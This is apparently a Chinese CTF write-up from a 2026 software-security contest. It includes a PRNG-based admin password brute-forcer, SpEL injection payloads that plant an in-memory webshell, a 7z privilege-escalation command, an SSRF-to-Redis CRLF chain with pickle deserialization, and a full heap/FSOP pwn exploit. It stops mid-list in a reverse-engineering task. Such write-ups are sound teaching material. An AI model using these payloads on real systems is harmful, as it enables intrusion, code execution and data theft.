首页
社区
课程
招聘
[原创]软件安全赛-2026-writeup NPUSEC
发表于: 1天前 773

[原创]软件安全赛-2026-writeup NPUSEC

1天前
773

软件安全赛-2026-writeup

先来一张最终排名时截的,欢迎关注我们的博客:639K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2F1M7s2g2K6k6h3y4Q4x3X3g2G2M7X3N6Q4x3X3g2U0L8W2)9J5c8R3`.`.

Web

thymeleaf

新建新用户并计算出 admin 的密码,脚本如下

import re
import random
import string
import requests
import sys
BASE = "0d6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4X3y4r3k6T1k6U0p5I4i4K6u0V1x3K6x3I4j5W2)9J5k6o6b7I4y4o6c8Q4x3X3b7^5y4e0b7^5i4K6u0V1y4h3x3K6y4X3t1&6z5o6b7#2x3X3b7K6i4K6u0W2y4e0q4Q4x3X3g2V1j5i4u0@1i4K6u0W2j5$3y4K6M7%4y4U0i4K6u0W2j5$3!0E0i4K6u0r3"  _# 例如: http://target:8080_
sess = requests.Session()
_# 1) 注册一个随机用户,拿到明文密码(即 PRNG 当前输出)_
uname = "u" + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
r = sess.post(f"{BASE}/register", data={"username": uname}, timeout=8)
m = re.search(r"<code[^>]*>(\d+)</code>", r.text)
if not m:
    print("[-] 没解析到注册密码,可能注册失败或页面结构不同")
    sys.exit(1)
p = int(m.group(1))
print(f"[+] register password = {m.group(1)}")
_# 2) 计算 admin 64 个候选_
base = (p & ((1 << 42) - 1)) << 6
_# 3) 爆破 admin 登录_
admin_pwd = None
for x in range(base, base + 64):
    cand = f"{x:016d}"
    resp = sess.post(
        f"{BASE}/dologin",
        data={"username": "admin", "password": cand},
        allow_redirects=False,
        timeout=8
    )
    if resp.status_code in (301, 302, 303, 307, 308):
        admin_pwd = cand
        print(f"[+] admin password found: {cand}")
        break
if not admin_pwd:
    print("[-] 64 个候选都失败。大概率不是新实例(状态已被他人推进)。")
    sys.exit(2)
_# 4) 验证 admin 页面_
check = sess.get(f"{BASE}/admin?section=main", timeout=8)
print(f"[+] /admin status = {check.status_code}")
print(check.text[:500])

拿到 admin 密码:0236506025278727

接下来内存马注入

step1:

__%7C%24%24%7Bnew.org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(%22''.getClass().forName('java.lang.System').setProperty('part1'%2C'H4sIAAAAAAAA%2F6VYB5wjV3n%2F3q12pdtdt10ftlzPmLPvVrurrpX2DLbaqveuw%2BCRNOrSSDOjSscYCCE0A%2Bbg6OUgJORsyN4dB9iGxE5IQgqppPdCICGNYIw335vRNt8anOR%2Be9LMe9%2F76v8rT19%2F5otfAQAD%2BSSB2zm%2BohU6fK1dKfNMix1wfEPLDjs8Kwg1rq1NsoKoBELg6jrTZ7RNpl3RRgp1toirUwSmWkKFwEJwdzMhUl4nCRziGgRInsB8hRWdTUYQwsifwLXHTxxEvoqKrDIdplhlV6ui2FkdsIXVKtMuNVleWA3ZvZ3gapCrBGuCyLZZXgVzBK5Czg5GYC0mmQ05fJ%2FXJPjsk39akz6jMVpT%2BnhWaxSMwriVG8fSDZ%2FQrAziDkthaMilMhYhKKZ8CYffJ1ic%2Fk7DZWoJ5rJgioxDkXqk4DAXGH2bFcW6mYmn%2B0ymNRJ4U8DgNjsDNme2a9Q4%2B9qqd%2BQue4utlN6QHoa5aEdTiozbxra3pzEbBbY41mpMomFsdxWqOVOeNQybWbEQaG2sNRlbcDSKCG2vPuBvbaTGvV6EH%2BirxqYvm%2FV5q9ZR1mcrGP1ehydg0nTceq7bbeZNGr4npMJFmyGmCzGDpK7WTpuLFvcoqdN7LWajtSx0jdF019b0eMx8sMUEMsV0zxcaMV4ml21HQ8x4OI6Nh9qOYa1k0JV5b3UYdkXdYrWWMZWMHp0%2F2TMG2IojxTndTd6vrzSiRl27UG3lmKqx5cilwhaL12931BiTOWPsGUPsgI%2FkTQWbZ%2BhfSw0bVjE34l2GWj83atbdgpctsaah2cWu8WNBNBkDhrqrVklkTMOux5YzMPaysGYJb3C%2BWqQZczNWT3yjOLI4Y%2FqxwRntmYf58Rrj6Jss%2FZE5ITg6fIa3B%2FTjdCNoG6WFfN4RFkeOlNgquJp1ltc4LLy7V7FrhE5GEx86bMWAccMzCCUHzWSixQwsnorTICQcAUshV8yYKhFDplDsNw1Dw1o4ZAvaraNBvtqppBupQKhXSectzUaxljbE6sVRoRXPxdpmY6aXCcQHG0O%2BmIz1khWx2jVmuvlgsKV1hE1lfyHHxOr1qjvG6gyWDq%2FxrgWEQidqE41hv7OfDfHplLOSirpDKauRb1UzqbA%2B2x%2F1E862EGS0KZMzo3Pqva7WIJxbKwTy1nRTWxrrRrWNQr3Yc%2FFj1mX15qp18zDt0rjyUXfH1K6aWcHrLliLpVhL682G3MZhLVzf0IV1KX4wFp3GRnvDHs0la44YG%2FdZLY58MScEbFyF9YYSJX94I2zQpALW7kajoAuXXalxpx8Z5MVaxuVpWHpiSygaDWHOz1iMHttAWAtHQ85%2BS5PPuQO97LAztpVDZXFQd7dr9poY6KDvilFLLSiOTMFQ2%2ByOeUZGvcUXqbUighA3tJhULe5sGOIbTS9bbxpb9TormgJOrugzDxvtvqHhMvrbSXPY4dH5CnVxUPMUUh2PO70WapiS7kDVYGbannwhWPTobWmvfmNcbASdtVGpMMzZ8oI7Y26lnR1%2FMdDPjgLuDXc4vhGzuRo8J7R7miTnDDlL%2FsxwMAyWcuIw6d8wVPlY1L0WiGiMmbV0IOgvS%2FGzJb1D26CniZqcTNYXzPc8oq4qBlmHa5DSDkMDr2DWeSOjLtNKmYKWjYG%2BqYvbs5E%2BV406R5Eyl7AU4ua%2B12eL622JVC1bK%2FU0FkOt5c7EfW1NpZYPshVPJZcq20Kcu211JuPmstNpSjv8LlctslYchititqMtp0weztqKBrVO3pS16Uy%2BVtIYsupiqaDH72oJxmqEiZpbfE%2FLiwZE1Lgy6tc7tXqtMLA3LQ2m2zfEXFqb1ysy5aAro3evBQ3lViBbGTNc16wvV20Rw9icLFpajWY9a3eakg1TTGvitBVOy7Wr3a5NGPUr414iu1buWgqetjvlDWlivWIgO9C4vcmEP%2BkqJf2DUd%2BUGAS9oVR4GOz6GiaLNqUfrRnFXtfpNkU0nXGiWPPaAjqNaPKZvFmrk0n7Uxtxq6s4NOu1rlrWHjM7%2Bykm2LF3NQ7RXWwO%2B%2BFoxW%2BNGbNDlzYRsmc3Bs58IZTSxwR3R5dre4t5zpJK9LK9chozrzrwV9ImR9%2BaGq6ZvTYTb%2FD5zYaRtsC4bFy6a3aIdU3YNuL87aouF9DWslZNuWYMuO1MXSgPsqZuo65joh19ky0xcX85yziaImPtaNpGV6vf7Kd5e8Lj04iJtYxOHCViAVenOXSU2TS6KSDm%2FdFatFYQItGiJpl3tsR6OM%2FpR6NM25c0cfpx3dLjDV1jIpSM9KuFqpUfG7zpYkhb0ITyHdHNxkbGkT0eKnir3TDnymVKXNY5CIwjwXZ3nNInI0GP1VxNjQtMM%2B9vFbMhQ5PrsvFOLu5Li57U2ka%2B7GLN%2BiJrr5t1GmyZxnJ4oNcaC0aXJ2Aeh6r%2BWDXgrQ0aDQurdw14X1GXE3PBTCRd9621nMN60V8L5bmSi%2FPobNFKlrM6HdqczpUttmORQqwUHpSMQd1G0FLWOt22aqsca%2FR6LGswdiNxT0y0%2Bzp1zLGCOyn4arG8O95GVHAdN29x6tjw2O3cSCQFxucNbXg7zqHJW%2FN4SxuGToNnsKNVKz2tiDWi6jba007GOQowbhcXGae5YIgdpRqcpW7rJTS1RqpcGhWC0ZZpbVTNDEWza2ioJnWCIZoQmoFyPcm08zZHRo%2FZmEsaHdZg0eVwc%2F6c1R2vl%2BOGQUjjFYaelsESEePedl5v8wSqqXTBYBgmi416M1T1WgfaDUNo1Ezqw3GhNahri%2BxGyCGG47Fo0OhoWEMpzlx28yNrbhQ1ajumbpFLdvvjYr2TM5frna7WG%2FOV%2BYTdq9HV2FY61OgNI5kO1%2BM4XaZU8fDBkdNic0UsXRvjy2nrpXIwo3e0EvHmmj3WsqbaPT%2BfEHUVW6LVqw6bvWzdXBq3mKTOKeabAZ8j68g13BrGkIq7hLazHBAzuUbAFtGYW6le2eYfejWVUaSetzii424wk%2FF2TXpdOW%2BOti1ubyZvNFrzw4KWNWp6vjAfq8XXUHVXxTO0R%2B2dfNee6qcrAWHDWmjEvC5rxaSvjjWVYDcwCJftQl3c6OmyrpjdroIrCczcVWvXxJfg%2BHf8RJrA4u44l6zy3IApNFklLOzbcA%2BLbEfEiVIJ1%2BLgJvTaq62aUFxNtQWmzKrgBbi4Sy2Ni0q4noCyzPHy3Hjs%2BOVj495JUjpzch5ugBtnQQ03ETgsVtlt%2FrfgBIvToostNhmeLW3U2GaJwMpP4Mmz5SaOulqJHHkfhdso7xcSuO45iJTwIgJXCKxoLxbpCI2uIKA4nj%2BRnoc74M5ZOAbH0W%2BoCoE79kqXh%2Bp90idL87AEGnpwGU3CgyGu1GuiSauTV1ascmjLPQfYcuoy%2FxxkncwB5ehAT80zYOROXa6HEkwErn%2Bu40qwIDBq7T7XQIttB5h2AMsDrbWCbRbWYJ2AavvmgAodPyjWd8GLZ0EBiMRrOOm4FINIuYwBUME9qFBr4iwHgSt3zwe5dkUJLvkGYW%2BXEqwoi1fBBoYrmYu6keUBAr3gOwxu8M%2FD1XANFR2cByWoDsMhCBOYpfpybZEdYnSv2da4J9aaWpSAx6MQm0XSOEJk35YSkvsgJYfP0as1SyyvhPQsZKikaZihknJoF9PpsO3ngeB9nFCDU%2FBSyuxeNL0oa3qU5XmOXz%2BqgpfL%2FnDT9xCCl6lgJE%2FsFbCT3gfIQOYMFKh5RYycyMmr88DCLJVYRo9sS2xz4tEy12uXVFBF2prI8ozI8QResM9nvsk6cq5DYw5S0MS75uX7SmhjoagyQlhyPBal%2FDx0oDsHHCBTRVta3n%2Fv3EGbCD1K18foTdRbP3pKBUPEy2404xz3PPJ1xw9jeAX1wyvxEnwv%2BvXVMpITVbbZnIfX0mQ%2BBK%2BTsoXyIHDnAYwPEIUl5H54Az38AIG5U9qle4%2FyLFMazargTbRSMjWcXVDeT%2BG9G9d%2Bet%2BlPTHCi3NLCT%2BDDuJ6KPSILKHGaaOotojKs0wLlX87vOMwvA3eifGiSrN8v7njBxU8iPd5Ocm36869P17556xEz7ccvAfeS01%2BaF9AooxYVcHp%2FRZKkpTwAfQFUtKuMQ8fpOhTw4dwrSa4Wx1xNA8fge4snIGPUqhoT6jg4%2Biv4yr4JH7h21naap6VunddrthLTqKDdom8jFCVEvlnZ%2BGzENynGGYNhkkJPy%2B71N5sJkSm2EjyDLaIZxeKENNBo38Bzs3C5')%22).getValue()%7D%7C__%3A%3A.x

step2:

__%7C%24%24%7Bnew.org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(%22''.getClass().forName('java.lang.System').setProperty('part2'%2C'%2BDhfYUCt5TwecRNgx2hrHn4RYjNwRdgk5KihTdR5zC1Nss7kH2FpxkW5TnahzheBRcRhkWZAqXeuDdszirDJ9huj20XMbUxey7Bl6iLvozCRIav0Gr6KOqCD1KFTTPNHtYG6%2FMK%2FYFRfRy%2BSqP6NSqgWhNepFPBL1P9qlioeLatgidxp0%2FFoK7X7%2FOQk2vSvoOzBPL5Vfg6dcGvYX4fRKGE35iDb9C6McOUSuh5AurjB%2FOiZv8W%2FDYtM7%2BD5FG6g177XUQJU%2B%2Bo4PelGiP9HqWCPyQw3eE5kVPBt3CdKTEdka7%2FCfZk9HEbeVKX%2FxnuCZhBtSK2oL9Army7gvFRwV9h%2Fu2iWUqIIMdgiab6Xdbp5C209m%2Fgb2ms%2F04ORaLW6jRZGef%2FIOP8H7FTrmoybAH7w56jKvg2atJixGKV%2BvPIQU0Dzf8OfJdG%2FV%2FQCJ4VuB6P0FHB97CE0gKogn%2FHCGHXETI1sToP%2FylT%2FxdyLm6Xh%2F%2Bm3iqVniViO71RxFPwQ%2BrhpzFeaAEqat%2BnKAHNTyiyex0yKQl77MQUhiMHEivJIXle2qZUzMMzsIUgJDPzcJi67xDB84ebuC%2BdmyezOEqSKTI3D1fI%2B1dg9SuxRa7Eyj870o51gCtPOebJVeRqeuIaquO41sHBk2tJv6oiCo6fckg0i%2BRaSnMEq3mJLSMwJLkqch02jlMOJVFvlxiJuw99XKGG3HiY3AR%2BuZhsD7RyNZ4nt0gjHLmVTlA4aCqlFIqUqaK%2BvW6cMDs5T15Ibp8lNxEcW8kpFbkDdWmzA19bEBksBvPkOPQowxNYXmjt6nSatSJDE8bdZ9vi9s%2BxqLRme8KSEotuKMnKHFmVkg9rC9NEj%2Brgh4gZoqfrT29fEKQDdp5nRvIp03b13N0QlISOl4xAKWiBfu7usSMebbMS2yxZI%2Bs%2FJuuxqV5N7polZvJiNFH4sSbejQ4VOUkhivATBygxT%2BzEgdYR58SIVSpxVYaLirjlIdElYQhB6EGjZECpiA%2BDtHMvctgTbotphy6wC7xeuUxXQtvewwbui%2Bxer0iEwM3bG46RyErqRnpipzfp8UoSmyVx2qNu3nUJQlTryfuivvYeOhxKb7qM1T4KvP1NUzRLXszOkgzJ0XK9M1rsIZ64%2BtQsSZGXYkmhPXFy2jdPXkZeTjfuw5UBjwMhehp3fD48RAqkiAoTpJ4TuR096LVKyqIyqdBtnCSni01OQMzWcTZHZg263JCHr8mF7%2B7%2FdcfafwUkcMvuVphL9IpVaWOP%2FzsEju7JM0RahWnKt8E9VPykhPc6LF%2BUq41ILzNq0sMZ96jEdHdOxumcDJ6jbkteHc2SLhnPkzbhaEV5pXwH3durD7qRXc7toKkTSzrymievpbPnMYKD633%2Ft5HvrqWXPM%2Bpj8Ctz3azXOD2ePAN6Cd5cb%2Bf3jhLHiBj3Lx85FQSHI1v2F2N99pircXuYYoz83XS%2FeeoNOSiGUdbkgzKGUfnpQMicPD9SArL22fJW8k79mTqnlFbSd61W5Zwa2%2BKTo6%2Fe5Y8SN6Dt7KOfGx7aNyXYnund5otD5H3zcIiOU1zvEwZ0Ay4q9ic%2FGQDKvIhOnlh%2BiucWE8QKRJjHC6TjPRrxeyOP7BXHU7UKm1G7PEs3IanFAD4OUtvovg0S%2B%2B%2B%2BH0Ndl3soEDIR%2FHtKqBdGGBqYf4c0H%2BEts%2FLNq%2Fa3ryanqebh0DmR962cN0FuDmoWbh1E24PLSs24cQy2YSV8IJ6QTv1ZVBvgnFBQR4D8yacXFesbMLdC3YFruemFo4lcHN9Wj29ggsKXFAvOJELrp58DNzrMxKxZ0YmViRyikcgkMhN4yM9p1QrV2bkc4dwTz2DW2q6dTJzFhTBszAFS%2Bch9AhEToPiYRJc2oQErr4odAkyufOQfQTym%2FCyhfvwY2n5PJTwexMqn4e85km4ZT9NbWfvLDyouQgtAqHli4A%2BPw334wPme3j%2FiRHlunIeXkVfXrNznC69fl2xtKJGR71x%2F5E37xGiWVfs33wL5adWyGouvHWXdGus%2BDxEHoF3IWEm8zAa%2FRl6GUFUqUiCpGER4%2FZueAiOYNw%2Bhs9emPs%2BPKTE90NbMAdESUO5hZA4pKR%2FKbqyePSWp2FGCdwW3AsKeR3flAgpuvsU3PkUnjpE784TqLwXtyjeXk5CmoV3E3IB3rfwfunrMTgTwnCENRjLTfhwePlJmF45t7wJHzsN101sXKE2fUK26dzetU%2FhxzJ9%2BPRkEyF4CFW%2Ffsecm0Gxha9TkpKo6hmq4RF4Gq7A5xuQPAoxmJIQixbDPCL2dZfgsyjh54IX4JGLcF4OJUY0vCJHlDArUkQfg8%2BtK2icLlCILnxxE75yGvJqxcJjF%2BCXFp6gH7%2BCH4%2FBF9Zn1DMX4dcJXITfJECBOcHGCfqErNZVatUO8WGN%2BvCE%2BpuHIHN265tn4dso4PckAW%2FHpz%2FAp%2FfDA%2FtE%2FRH9%2BGP8oMIW%2FpS%2B%2FTn9%2BEv68dd0HcXuyEB5exQ6TAVOFDosKzSrnt0hntOo556tUH595iykqPV%2F%2FwSEpG8pgP8kif%2FnTfjX02CRlhf%2BbSL8CTimVspRXviPTfj%2BaTiCGv2A7qo0VJ8fUebPnNHQKH4aZ9ljO1Ecw%2BwzcL2EspQEOy%2BotmEnI%2B9zGE4lfAGfAX4A2kMUmbMHkSikP5lwC7QUxs8mAnAgRhQ%2FgBjCmHwc5SvoVYR8QiqYn8H%2FeNmYANs9AfYxzSIhMqDJ1LkQvk1Lb%2BGVvetSuaQ3kG3DZoCEpFyjPyWhMMryG7iqxO%2FTS5rzRBki4eWlTXJ4k8yHz8IprA2b5MoLZOECecH69CKZWiTXywVwkdxAKyC5Gcsc%2FdwkR2ksFJvkNvXMslwI1dNIMnWBHKOlcPor9EGqper91WmR3CknFo3V%2FgK1skmWqBkqLPTX7phxIy0W105KgUJJMN3UUqL9EDK7DsT%2F98MbJlY%2BhTZSK7%2BGrlqeuOpxsnoaPCuPkVWaWBeJFoGIek6w%2BUL6RLGJVsmqyX4x0PJ9dutbasXyRWKkGILOJWLOrWBPwb8L5OR58pL%2FF0NU8Z5JSzIn5FZEubkIJFBvLKow8cMxUD0DRyUXrCKcjiF%2BnoK5H8GNe9%2Fv3OcRdqedXj1pp9jF8nI%2FPUxvnhN%2FvRNRMYXf3CLZkBrqIvFO2ifBb8y0kyEasUXin6h6hnbBZVndJSnO5Ab8OxdaJMEJh%2FBeUg2G9nJqSaV7wL4TaxWQ74MdY7vHjMP0%2BjtR9FEcKGhgX3qJxHPnSSJIQpdIKneJZHJL50n%2BPLk3dM3V8CVVeBmxxOQsig%2FBlZqVqSMIVPbs1ndQi9r69PIToFzeJE18a6mnz63P7FuYeVQaXO6CAMoJQEj6lrWzwzSNAIkrSUpJbnga1aS1ntywRf2H3%2FKW1KdoV1PuLtGJBbvhtlkkimbhDD4xqzZJ9HtwTLg7tLyg%2BCQsLGPTuv1cGPXqh85uffcS6eYmebS0kzuLZIifGjmBzpNXPIoOm6NzEulOVL4Kpp6GacyYgJJ0n8KZ7uNSYTiEtwABNXwcvjpRwYRWUwhcu6S5QF41maVQ0sq5EJHjtJctlpYYMtzPjbyavGbC7RbkRQ1akLiFVyi3lSW05fUPS7PcnujS323lU0SNazS6n1p6HNSnYXYJi8dZUFJ71xUEk0vxBBjV00%2FCKjbyBbVCI2EUS9H0WZjH12X5eetbmHQY8f664uzWNyj9rZfIA9veWyRv2uuzNz%2BqnpbK2LQsVElwYFjCAeDkORyDyFt3j71t9xjOQuSdFCe3wYvhHvIA6vwAvHEHxTGYu9KJPv8RLVpqJazdpHIoyQNzR%2BP4vEVdJo8LSvIWJZhlElrc1pR0oFBM2shkWyp1cnsg96NIBgqTnH4dOplO1xaaBFI6hC%2BRB3Mr58l7Q9QX78cc%2BMC6YoLuM2rFuR3sn1FPPypNUbfACeRwAvvDiR2Yn4CpZ%2BAOJXmQYhfObFFkSMV3EdckcD%2BDYZMArSIf3B7KwUKHOfx361lcWiQfxoI%2BhdMhBhDObn0PLsEhVPEjewraNExNXYGY%2Bx%2BOb%2FvKZygAAA%3D%3D')%22).getValue()%7D%7C__%3A%3A.x

step3:

__%7C%24%24%7B1.getClass().forName('org.springframework.cglib.core.ReflectUtils').defineClass('org.springframework.expression.Test'%2Cnew.java.util.zip.GZIPInputStream(new.java.io.ByteArrayInputStream(1.getClass().forName('org.springframework.util.Base64Utils').decodeFromString(new.java.lang.StringBuilder(''.getClass().forName('java.lang.System').getProperty('part1')).append(''.getClass().forName('java.lang.System').getProperty('part2'))))).readAllBytes()%2C1.getClass().forName('org.springframework.expression.ExpressionParser').getClassLoader()%2Cnull%2C1.getClass().forName('org.springframework.expression.ExpressionParser'))%7D%7C__%3A%3A.x

成功注入内存马

读取 flag 权限不够,需要提权,这块后边重新注了一个 behinder 马

通过/usr/bin/7z 提权获取 flag

/usr/bin/7z a -bd -ttar -an -so /flag 2>/dev/null | /usr/bin/7z e -bd -ttar -si -so 2>/dev/null

auth

先随便注册一个账号登录进去,找到一个 ssrf 入口

返回包有 base64 编码内容,可以外带一些敏感数据

接着用常规路径字典爆破,爆破出来 app.py

看到其中的 redis 配置项

CONFIG_FILE_PATH = '/opt/app_config/redis_config.json'
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_PASSWORD = '123456'

会优先拿 redis_config.json 中的密码,还得去读取

和 ssrf 在一块,尝试直接 crlf 去进行 redis 访问

http://127.0.0.1:6379/
\r\n
AUTH 123456
\r\n
HSET user:11 role admin
\r\n
QUIT
\r\n

但是发现认证失败,没招了只能去读 redis 默认配置看看

/etc/redis/redis.conf:
requirepass redispass123
bind 0.0.0.0
protected-mode no
daemonize yes
logfile ""
dir /var/lib/redis

拿这个密码去尝试,发现正确了变成 admin,回到 app.py,此时可以访问/admin/online-users 了,发现一个 pickle 反序列化的点:

for key in online_keys:
    try:
        serialized = r.get(key)  
        if serialized:
            file = io.BytesIO(serialized)
            unpickler = RestrictedUnpickler(file)  
            online_user = unpickler.load()

同时过滤了一些东西,但是容易绕,可以用 allowed builtins.getattr+main.OnlineUser,上传点在 redis,因此之前的提权逻辑可以复用

把恶意 pickle 写入 online_user:11,访问 /admin/online-users 触发执行。

avatar_url=http://127.0.0.1:6379/%0d%0aAUTH%20redispass123%0d%0aSET%20online_user:11%20%22c__main__%5CnOnlineUser%5Cn...%28tR.%22%0d%0aEXPIRE%20online_user:11%203600%0d%0aQUIT%0d%0a

但发现读不了 flag,其他可以,可能是权限问题,联想到起初在/proc/11/cmdline 发现的:

/opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py

发现了 mcp,还泄露了 token,还发现了调用 XML-RPC 服务的 execute_command 可以直接读 flag,没有限制,目的是为了反序列化后执行 python -c 以下代码,写个简单的 pickle 序列化字符串生成脚本就好:

import xmlrpc.client,sys;s=xmlrpc.client.ServerProxy('2cbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0f1@1x3K6t1I4i4K6u0r3f1W2m8o6x3W2)9J5y4H3`.`.);r=s.execute_command('mcp_secure_token_b2rglxd','cat /flag');sys.stdout.write((r.get('stdout') or '') + (r.get('stderr') or ''))" >/tmp/flag1

Python -c "xxx"

Pwn

mailsystem

逆向完毕之后,发现这里 j 可以等于 12,溢出到 admin_note 这个 bss 段上得变量

这个地方能实现风控用户,用户被风控之后就可以使得上面的 n7<=7,之后就能利用溢出,控制 admin 的账号和密码为空,登录即可

登录 admin 账户之后就可以调整用户邮箱中的内容,后面将 stderr 当作一个用户的邮箱内容发到 1 账户的邮箱中去,之后登录 1 邮箱去查看邮箱内容就能去泄露 libc 的内容

后面继续攻击_IO_2_1_stderr_打一个 house of some 就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome

ip="192.0.100.2"
port=9999

p=getProcess(ip,port,["./ld-linux-x86-64.so.2", "--library-path", "./", './pwn'])
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/libc.so.6")


cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc

b *$rebase(0x00000000000030A9)

"""
def login(name, password):
    sla("Your choice: ",str(1))
    sla("name:",name)
    sla("password:",password)

def register(name, password):
    sla("Your choice: ",str(2))
    sla("name:",name)
    sla("password:",password)

def write(size,con):
    sla("Your choice: ",str(1))
    sla(' (1-256): ',str(size).encode())
    sla('bytes):\n',con)

def send(id):
    sla("Your choice: ",str(3))
    sla(' (input user ID 1-12)',str(id).encode())

def user_read_inbox(io):
    sla(b"choice", b"2") # 进入读邮件子菜单
    sla(b"choice", b"2") # 读取 Inbox
    p.recvuntil(b"Inbox (new mail):\n")
    data = io.recvline()[:-1]
    sla(b"choice", b"3") 
    return data

#先实现7个注册
register('test','test')
register('test','test')
register('test','test')
register('test','test')
register('test123','test123')
register('test123','test123')
register('test123','test123')
register('test123','test123')

#将前5个放到风控里面

# def feng(id):
#     write(256,'123')
#     send(id)

#     write(256,'123')
#     send(id)
#     sla('Overwrite? (y/n): ','y')

#     write(256,'123')
#     send(id)
#     sla('Overwrite? (y/n): ','y')
#     write(256,'123')
#     send(id)
#     sla('Overwrite? (y/n): ','y')

#     write(256,'123')
#     send(id)

def feng(id):
    write(256,'123')
    send(id)
    marker = b"\x1B[1;31;40m[SECURITY] Risk detected for"
    pp=b'Overwrite? (y/n): '
    while(True):
        write(256,'123')
        send(id)
        rc(1)
        line = p.recvline(timeout=0.2)
        print('line=',line)
        if marker in line:
            print("hit security message, break")
            break
        else:
            sl('y')

for i in range(1,5):
    login('test123','test123')
    feng(i)

register('test123','test123')
register('test123','test123')
register('test123','test123')
register('test123','test123')

for i in range(5,7):
    login('test123','test123')
    feng(i)

###风控了5,6,7,8,9,10
register('testadmin','fakeadmin')##控制了admin的堆块
###提前控制我们的stdout的内容
pl=p64(0xFBAD1800)+p64(0)*3+b'\x00'+b'\x00'
login('test','test')
write(0x22,pl)
sla("Your choice: ",str(4))
login(b'\x00'*6,b'\x00'*0x10)
####进入admin用户

def mail_to_mail(des,src):
    sleep(0.1)
    sla('Your choice: ',str(4))
    sleep(0.1)
    sla('(1-12) ',str(des).encode())
    sleep(0.1)
    sla('destination user ID (1-12): ',str(src).encode())
    sleep(0.1)
    sla('Your choice: ',str(1))

# gdbbug(cmd)
sla(b'Your choice: ','4')
sla(b'rward): (1-12) ',str(-3))
sla('ID (1-12): ',str(1))
sla('Overwrite? (y/n): ','y')
sla(' to forward?\n',str(1))
sla(b'Your choice: ',str(5))
login('test','test')
sla(b'Your choice: ',str(2))
sla(b'Your choice: ',str(2))
# mail_to_mail(1,-7)
ru(b'Inbox (new mail):\n')
lb=uu64(rc(6))-libc.sym["_IO_2_1_stderr_"]-0x163
print("libc_base=",hex(lb))
sla(b'Your choice: ',str(3))
sla("Your choice: ",str(4))

libc_base=lb
libc.address = libc_base
environ=libc.symbols['__environ']
fake_file_start=environ+0x400
hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)

login('test','test')
write(len(payload),payload)
sla("Your choice: ",str(4))
login(b'\x00'*6,b'\x00'*0x10)

mail_to_mail(1,-3)
sla('Your choice: ',str(5))
sla('Your choice: ',str(3))
ru('Goodbye!')
ru('\n')
stack=hos.bomb_orw(p,'./flag')
ita()

pwn_std 内容如下:

from pwn import *

from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
import psutil, time

def getProcess(ip,port,name):
    global p
    if len(sys.argv) > 1 and sys.argv[1] == 'r':
        # p = remote(ip, port,ssl=True)
        p = remote(ip, port)
        return p
    else:
        p = process(name)
        return p

sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))

def gdbbug(cmd=''):
    gdb.attach(p,cmd)
    pause()

Re

re1

解包出来可以看到一个视频和一个 elf 文件,我们先用 ida 查看 elf 文件并获取相关信息,可以找到一个 base64 加密的长数据

同时可以在主函数中看到 stager.pyc 的字眼,推测是将 stager.pyc 转为 base64 了,我们 cyberchef 解密一下并保存为 stager.pyc,再拖到在线 pyc 反汇编工具中查看代码

工具链接:在线 pyc,pyo,python,py 文件反编译,目前支持 python1.5 到 3.6 版本的反编译-在线工具

可以看到,加密方法是读取 payload,然后每 8 字节异或 10101010,然后结果为 1 表示黑色,0 表示白色,设置长宽边长的参数,所以解密只需要反过来皆可,这边附上解密代码

from pathlib import Path
import imageio.v2 as imageio
video=Path("video.mp4")
pix=8
w,h=640,480
xor=0xAA
bits=[]
for frame in imageio.get_reader(video):
    for i in range(0,h,pix):
        for j in range(0,w,pix):
            block = frame[i:i+pix,j:j+pix]
            bits.append("1" if block.mean() < 128 else "0")
data = bytearray()
for i in range (0, len(bits), 8):
    b=bits[i:i+8]
    data.append(int("".join(b), 2) ^ xor)
Path("payload.bin").write_bytes(data)

解密完我们发现是一个 elf 文件,直接改名拖入 ida 中查看逻辑

可以发现进行了一系列输出,同时我们在字符串中看得到 md5 跟 flag 的字眼,尝试对 src 字符串所指的 md5 进行解密

解密脚本附上

import hashlib
import string
a =[
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"4b43b0aee35624cd95b910189b3dc231",
"e358efa489f58062f10dd7316b65649e",
"f95b70fdc3088560732a5ac135644506",
"c81e728d9d4c2f636f067f89cc14862c",
"0cc175b9c0f1b6a831c399e269772661",
"92eb5ffee6ae2fec3ad71c777531578f",
"c4ca4238a0b923820dcc509a6f75849b",
"8fa14cdd754f91cc6554c9e71929cce7",
"92eb5ffee6ae2fec3ad71c777531578f",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"c9f0f895fb98ab9159f51fd0297e236d",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"cfcd208495d565ef66e7dff9f98764da",
